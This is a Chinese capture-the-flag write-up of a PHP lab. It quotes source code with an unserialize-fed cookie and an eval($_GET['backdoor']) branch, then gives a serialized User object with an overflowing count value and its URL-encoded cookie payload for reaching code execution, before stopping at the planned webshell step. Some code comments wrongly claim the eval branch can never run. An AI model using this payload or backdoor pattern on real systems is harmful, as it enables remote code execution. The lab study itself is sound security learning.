進入靶場
沒提示,去看源代碼。
user.php
<?php
// 定義一個名為 User 的類,該類可用于表示用戶相關信息或執行與用戶有關的操作
class User{// 聲明一個公共屬性 $count,可在類的內部和外部直接訪問// 這個屬性可能用于記錄與用戶相關的某種數量,比如用戶的操作次數、用戶擁有的物品數量等public $count;
}
?>
add_api.php?
<?php
// 包含 "user.php" 文件,該文件中可能定義了 User 類或其他相關代碼
// 包含文件后,當前腳本就可以使用該文件中定義的類、函數、變量等
include "user.php";// 從 $_COOKIE 超全局數組中獲取名為 "data" 的 cookie 值,并嘗試對其進行反序列化操作
// 反序列化操作會將存儲在 cookie 中的序列化對象恢復為 PHP 對象
// 如果反序列化成功,將結果賦值給 $user 變量,并進入 if 語句塊
if($user = unserialize($_COOKIE["data"])){// 對 $user 對象的 count 屬性進行自增操作,然后將 $count 數組的對應索引位置賦值為 1// 例如,如果 $user->count 初始值為 1,自增后為 2,那么 $count[2] = 1$count[++$user->count] = 1;// 這里存在語法錯誤,正確的應該是 if ($count[] = 1) 這種寫法不符合正常邏輯// 可能本意是檢查某個條件,但這樣的賦值操作結果總是為 1(在 PHP 中賦值表達式的值為所賦的值),條件恒為真// 暫且按代碼邏輯理解,若這個條件成立if($count[] = 1){// 將 $user 對象的 count 屬性再加 1$user->count += 1;// 將更新后的 $user 對象進行序列化操作,將其轉換為字符串形式// 然后使用 setcookie 函數將序列化后的字符串存儲到名為 "data" 的 cookie 中setcookie("data", serialize($user));} else {// 如果上述條件不成立(實際上由于賦值操作,這里永遠不會執行)// 使用 eval 函數執行從 GET 請求中獲取的名為 "backdoor" 的參數值// 這是非常危險的操作,因為用戶可以通過 GET 請求傳入惡意代碼,從而導致任意代碼執行漏洞eval($_GET["backdoor"]);}
} else {// 如果反序列化失敗,說明 cookie 中存儲的數據不是有效的序列化對象或者 cookie 不存在// 創建一個新的 User 類的實例$user = new User;// 將新創建的 $user 對象的 count 屬性初始化為 1$user->count = 1;// 將新創建的 $user 對象進行序列化操作,然后存儲到名為 "data" 的 cookie 中setcookie("data", serialize($user));
}
?>
如下代碼?
?給與了我們進行任意代碼執行漏洞的條件
即設置count為9223372036854775806
<?phpclass User{public $count=9223372036854775806;}echo serialize(new User);
?>
O:4:"User":1:{s:5:"count";i:9223372036854775806;}?
忘記進行url編碼了?
<?phpclass User{public $count=9223372036854775806;
}
echo urlencode(serialize(new User()));
?>
cookie 添加為以下內容
data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D?
大概這樣改cookie?
到這塊就需要蟻劍連接了,我的蟻劍有問題,最近還沒好
先帝創業未半而開局崩殂?